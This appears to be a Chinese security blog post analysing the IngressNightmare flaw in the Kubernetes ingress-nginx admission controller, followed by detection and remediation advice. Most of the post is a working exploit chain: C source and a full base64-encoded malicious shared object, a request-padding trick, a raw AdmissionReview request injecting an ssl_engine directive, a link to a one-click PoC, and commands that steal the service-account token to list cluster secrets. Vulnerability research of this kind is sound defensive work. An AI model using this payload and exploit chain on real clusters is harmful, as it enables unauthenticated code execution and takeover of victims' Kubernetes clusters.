一、前言
最近 Kubernetes 中发现一个安全问题IngressNightmare,在某些情况下,拥有 pod 网络访问权限的未经认证攻击者可在 ingress-nginx 控制器的环境中实现任意代码执行,进而可接管集群权限。
可以看出此漏洞危害是比较大的,于是对此漏洞进行深入分析,并且研究此漏洞的检测、修复以及利用手法监控的方案。
注:云越来越普遍了,涉及到云上攻防的内容也越来越多,k8s的漏洞也越来越多了
21年挖的对象存储漏洞到现在结束了吗?- 云安全:https://mp.weixin.qq.com/s/4cnBa6ysXvEG4ZOM0XkBxA
k8s被黑真能溯源到攻击者吗?:https://mp.weixin.qq.com/s/-VLvp53vqhkVEbSkH2jCqg
二、环境搭建
部署ingress-nginx,选择了v1.11.3版本(v1.12.1 and v1.11.5是安全版本)
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.11.3/deploy/static/provider/
baremetal/deploy.yaml
将ingress的ingress_url 和 admission_webhook_url通过port-forward暴露出来,模拟我们进入了容器内部或者模拟ingress_url 和 admission_webhook_url非预期对外。
kubectl port-forward --address 0.0.0.0 --namespace=ingress-nginx service/ingress-nginx-controller 8080:80
kubectl port-forward --address 0.0.0.0 -n ingress-nginx ingress-nginx-controller-6fb7885497-4s8qb 8888:8443
# 查看日志
kubectl logs -l app.kubernetes.io/component=controller -n ingress-nginx -f
三、漏洞分析
3.1、Ingress是什么?
使用一种能感知协议配置的机制来解析 URI、主机名称、路径等 Web 概念, 让你的 HTTP(或 HTTPS)网络服务可被访问。 Ingress 概念允许你通过 Kubernetes API 定义的规则将流量映射到不同后端。
3.2、IngressNightmare漏洞原理
漏洞的核心问题是:Ingress NGINX 的admission controllers 没做任何权限校验即对攻击者输入的内容通过nginx -t 命令方式校验nginx配置(admission webhook 一般也不用做权限校验,毕竟只是做配置文件校验),主要的问题是nginx 配置注入。
具体流程如下:
1、滥用 NGINX 的 client-body 缓冲区功能,将我们的so文件上传到 Pod
2、向 Ingress NGINX 控制器的准入控制器发送 AdmissionReview 请求,其中包含我们的任意一个指令注入(我们注入的指令是 ssl_engine 指令,它会导致 NGINX 将指定的文件作为共享库加载),并且我们fuzz遍历到我们的有效负载的文件描述符的 ProcFS 路径
4、RCE成功
四、漏洞实践
4.1、将我们的so文件上传到 Pod
在处理请求时,NGINX 有时会将请求体保存到临时文件中( 客户端体缓冲 )。如果 HTTP 请求正文大小大于特定阈值( 默认为 8KB),则会发生这种情况。这意味着理论上我们应该能够发送一个大型 (>8KB) HTTP 请求,其中包含共享库形式的有效负载作为请求的正文,NGINX 会将其临时保存到 Pod 文件系统上的文件中。
这里我们遇到的第一个问题,我们的so文件是3cf0,也就15600个字节。
# 通过模拟上传到nginx的临时文件
cp ../pwn.so ./
python3 exploit.py http://127.0.0.1:8080 https://127.0.0.1:8888
我们从fd里面找到的文件大小已经改变了,并且文件损坏了,无法正常使用。
如果我们想尽办法缩小文件呢? 从网上找到如下办法进行缩小文件
cat << EOF > pwn.c
#include <stdlib.h>
__attribute__((constructor)) staticvoidtest(void) {
// 闭环循环卡死
unsetenv("LD_PRELOAD");
system("sh -c 'touch /tmp/lufei_okk'");
}
EOF
gcc pwn.c -S -o pwn.S
as --64 -o pwn.o pwn.S
ld -shared -nostdlib -z noseparate-code -z max-page-size=0x1000 -o pwn.so pwn.o
strip --strip-all pwn.so
注意:unsetenv("LD_PRELOAD")这里避免循环卡死。
实际上只有14c0大小也就是5312字节(因为编译出来后面的都是00无用字节),如果我们进行增加或者切割文件呢?是否还会有用,按照理论来说,elf文件是根据文件头以及各种导出导入等等之类的表规划了文件的offset,对文件的最后面增加删除不影响的,我们再实际测试一下。
echo -en "x00x00x00x00" >> pwn.so
LD_PRELOAD=./pwn.so whoami
ls /tmp/lufei_okk
还是可以正常运行。
为什么这里我要测试增加或者删除字节呢?如果 HTTP 请求正文大小大于特定阈值( 默认为 8KB),它就不进行临时保存,所以我们还需要对文件进行增肥。
echo 'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAAAAAAAAAABAAAAAAAAAANAQAAAAAAAAAAAAAEAAOAAHAEAAEAAPAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAMAAAAAAACgAwAAAAAAAAAQAAAAAAAAAQAAAAYAAACgD
gAAAAAAAKAeAAAAAAAAoB4AAAAAAABwAQAAAAAAAHABAAAAAAAAABAAAAAAAAACAAAABgAAAKgOAAAAAAAAqB4AAAAAAACoHgAAAAAAAEABAAAAAAAAQAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAcAMAAAAAAABwAwAAAAAAAHADAA
AAAAAAMAAAAAAAAAAwAAAAAAAAAAgAAAAAAAAAU+V0ZAQAAABwAwAAAAAAAHADAAAAAAAAcAMAAAAAAAAwAAAAAAAAADAAAAAAAAAACAAAAAAAAABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAQAAAAAAAAAFLldGQEAAAAoA4AAAAAAACgHgAAAAAAAKAeAAAAAAAAYAEAAAAAAABgAQAAAAAAAAEAAAAAAAAAAQAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAEAAA
AAAAAAAAAAAAAAAAAAAAAAAKAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAdW5zZXRlbnYAc3lzdGVtAAAAAAAAAACgHgAAAAAAAAgAAAAAAAAAwAIAAAAAAAAAIAAAAAAAAAcAAAABAAAAAAAAAAAAAAAIIAAAAAAAAAcAAAACAAAAA
AAAAAAAAAD/NVodAAD/JVwdAAAPH0AA/yVaHQAAaAAAAADp4P////8lUh0AAGgBAAAA6dD///9VSInlSI0FGgAAAEiJx+jN////SI0FFgAAAEiJx+jO////kF3DTERfUFJFTE9BRABzaCAtYyAndG91Y2ggL3RtcC9sdWZlaV9va2
snAAAAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAABwAAAAcAAAAkP///yUAAAAAQQ4QhgJDDQZgDAcIAAAAIAAAADwAAABA////MAAAAAAOEEYOGEoPC3cIgAA/GjsqMyQiAAAAAAQAAAAgAAAABQAAAEdOVQABAAHABAAAAAEAAAA
AAAAAAgABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAIAAAAAAAAZAAAAAAAAAKAeA
AAAAAAAGwAAAAAAAAAIAAAAAAAAAPX+/28AAAAAyAEAAAAAAAAFAAAAAAAAADACAAAAAAAABgAAAAAAAADoAQAAAAAAAAoAAAAAAAAAEQAAAAAAAAALAAAAAAAAABgAAAAAAAAAAwAAAAAAAADoHwAAAAAAAAIAAAAAAAAAMAAAAA
AAAAAUAAAAAAAAAAcAAAAAAAAAFwAAAAAAAABgAgAAAAAAAAcAAAAAAAAASAIAAAAAAAAIAAAAAAAAABgAAAAAAAAACQAAAAAAAAAYAAAAAAAAAPn//28AAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKgeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKYCAAAAAAAAtgIAAAAAAABHQ0M6IChBbHBpbmUgMTMuMi4xX2dpdDIwMjQwMzA5KSAxMy4yLjEg
MjAyNDAzMDkAAC5zaHN0cnRhYgAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5yZWxhLmR5bgAucmVsYS5wbHQALnRleHQALnJvZGF0YQAuZWhfZnJhbWUALm5vdGUuZ251LnByb3BlcnR5AC5pbml0X2FycmF5AC5keW5hbWljA
C5nb3QucGx0AC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAPb//28CAAAAAAAAAMgBAAAAAAAAyAEAAAAAAAAcAAAAAAAAAAIAAA
AAAAAACAAAAAAAAAAAAAAAAAAAABUAAAALAAAAAgAAAAAAAADoAQAAAAAAAOgBAAAAAAAASAAAAAAAAAADAAAAAQAAAAgAAAAAAAAAGAAAAAAAAAAdAAAAAwAAAAIAAAAAAAAAMAIAAAAAAAAwAgAAAAAAABEAAAAAAAAAAAAAAAA
AAAABAAAAAAAAAAAAAAAAAAAAJQAAAAQAAAACAAAAAAAAAEgCAAAAAAAASAIAAAAAAAAYAAAAAAAAAAIAAAAAAAAACAAAAAAAAAAYAAAAAAAAAC8AAAAEAAAAQgAAAAAAAABgAgAAAAAAAGACAAAAAAAAMAAAAAAAAAACAAAADQAA
AAgAAAAAAAAAGAAAAAAAAAA0AAAAAQAAAAYAAAAAAAAAkAIAAAAAAACQAgAAAAAAADAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAOQAAAAEAAAAGAAAAAAAAAMACAAAAAAAAwAIAAAAAAAAlAAAAAAAAAAAAAAAAAAAAA
QAAAAAAAAAAAAAAAAAAAD8AAAABAAAAAgAAAAAAAADlAgAAAAAAAOUCAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABHAAAAAQAAAAIAAAAAAAAAEAMAAAAAAAAQAwAAAAAAAFwAAAAAAAAAAAAAAAAAAAAIAA
AAAAAAAAAAAAAAAAAAUQAAAAcAAAACAAAAAAAAAHADAAAAAAAAcAMAAAAAAAAwAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAGQAAAAOAAAAAwAAAAAAAACgHgAAAAAAAKAOAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAA
AAAAACAAAAAAAAABwAAAABgAAAAMAAAAAAAAAqB4AAAAAAACoDgAAAAAAAEABAAAAAAAAAwAAAAAAAAAIAAAAAAAAABAAAAAAAAAAeQAAAAEAAAADAAAAAAAAAOgfAAAAAAAA6A8AAAAAAAAoAAAAAAAAAAAAAAAAAAAACAAAAAAA
AAAIAAAAAAAAAIIAAAABAAAAMAAAAAAAAAAAAAAAAAAAABAQAAAAAAAAMQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAwAAAAAAAAAAAAAAAAAAAAAAAABBEAAAAAAAAIsAAAAAAAAAAAAAAAAAAAABAAAAAAAAA
AAAAAAAAAAA' | base64 -d > pwn.so
我们继续增加字节8192,让nginx保存临时文件(最后nginx会切割前面9k多个字节),我们真正的so文件大小在这个之内就好了。
echo -n | tr '�' '�' | head -c 8192 >> pwn.so
这里将Content-Length设定为比真实长度增加一些大小就可以卡住连接等待,让临时文件保留一段时间(连接断了就自动删除了)。
so = base64.b64decode(pwn_base64) + b"�0" * 8092
real_length = len(so)
fake_length = real_length + 10
headers = (
f"POST {path} HTTP/1.1rn"
f"Host: {host}rn"
f"User-Agent: lufeisecrn"
f"Content-Type: application/octet-streamrn"
f"Content-Length: {fake_length}rn"
f"Connection: keep-alivern"
f"rn"
).encode("iso-8859-1")
4.2、注入ssl_engine加载so文件 & fuzz
向 Ingress NGINX 控制器的准入控制器发送 AdmissionReview 请求,其中包含我们的任意一个指令注入(我们注入的指令是 ssl_engine 指令,它会导致 NGINX 将指定的文件作为共享库加载),并且我们fuzz遍历到我们的有效负载的文件描述符的 ProcFS 路径
这里经过笔者的测试,发现nginx.ingress.kubernetes.io/auth-url字段比较好用,可以使用这个字段进行利用。
POST / HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:8888
Content-Length: 2304
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "3babc164-2b11-4c9c-976a-52f477c63e35",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "minimal-ingress",
"namespace": "default",
"operation": "CREATE",
"userInfo": {
"uid": "1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6"
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "minimal-ingress",
"namespace": "default",
"creationTimestamp": null,
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}nnssl_engine ../../../../../../../proc/170/fd/10nn"
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "test.example.com",
"http": {
"paths": [
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "kubernetes",
"port": {
"number": 443
}
}
}
}
]
}
}
]
},
"status": {
"loadBalancer": {}
}
},
"oldObject": null,
"dryRun": true,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
可以修改proc/170/fd/10进行遍历,即可RCE成功
nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}nnssl_engine ../../../../../../../proc/170/fd/10nn
4.3、给出一键PoC
ingress的进程默认启动pid是在30-50范围之内
ingress的进程默认启动pid是在160-180范围之内
PoC地址(可以自己修改pid以及fd范围):
https://github.com/lufeirider/IngressNightmare-PoC/blob/main/IngressNightmare.py
当然也可以窃取ingress-nginx的pod token,权限很高,可以接管整个集群。
TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
curl -ks -H "Authorization: Bearer $TOKEN" https://10.96.0.1:443/api/v1/secrets | head
4.4、官方修复
经过Wiz的持续绕过(如auth-url、auth-tls-match-cn、mirror UID参数),ingress-nginx最终放弃治疗(一开始通过引号包裹修复),不再使用nginx -t进行验证配置。
https://github.com/kubernetes/ingress-nginx/pull/13069/commits/7df448b20556ff5de91d794ceba35415b5e55a5e
4.4、修复实验
经过测试v1.11.5版本,将nginx配置的value乱写(而非key),确实没有使用nginx -t进行检测
v1.11.5版本结果如下
五、风险发现 & 检测
5.1、风险发现
风险发现还是比较简单,检测ingress-nginx容器镜像低于v1.12.1 and v1.11.5的版本就直接识别为风险
5.2、业务的修复
1、编辑 ingress-nginx-controller Deployment 或 Daemonset,从控制器容器的参数列表中删除 --validating-webhook
2、升级到最新版本(v1.12.1 and v1.11.5)
5.3、检测
我们再从进程的层面观察,发现如下进程加载了so(由于是so加载,可能不会造成进程派生,会有网络请求),所以我们可以写一个hids规则监控下面进程派生以及网络请求即可。
/usr/bin/nginx -c /tmp/nginx/nginx-cfg1191786723 -t
六、总结
文章介绍了IngressNightmare的漏洞原理以及复现的坑,最终从甲方落地的视角整理了风险发现、修复、检测的方案。
原文始发于微信公众号(lufeisec):你的k8s集群又被拿下了?IngressNightmare - 云安全
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论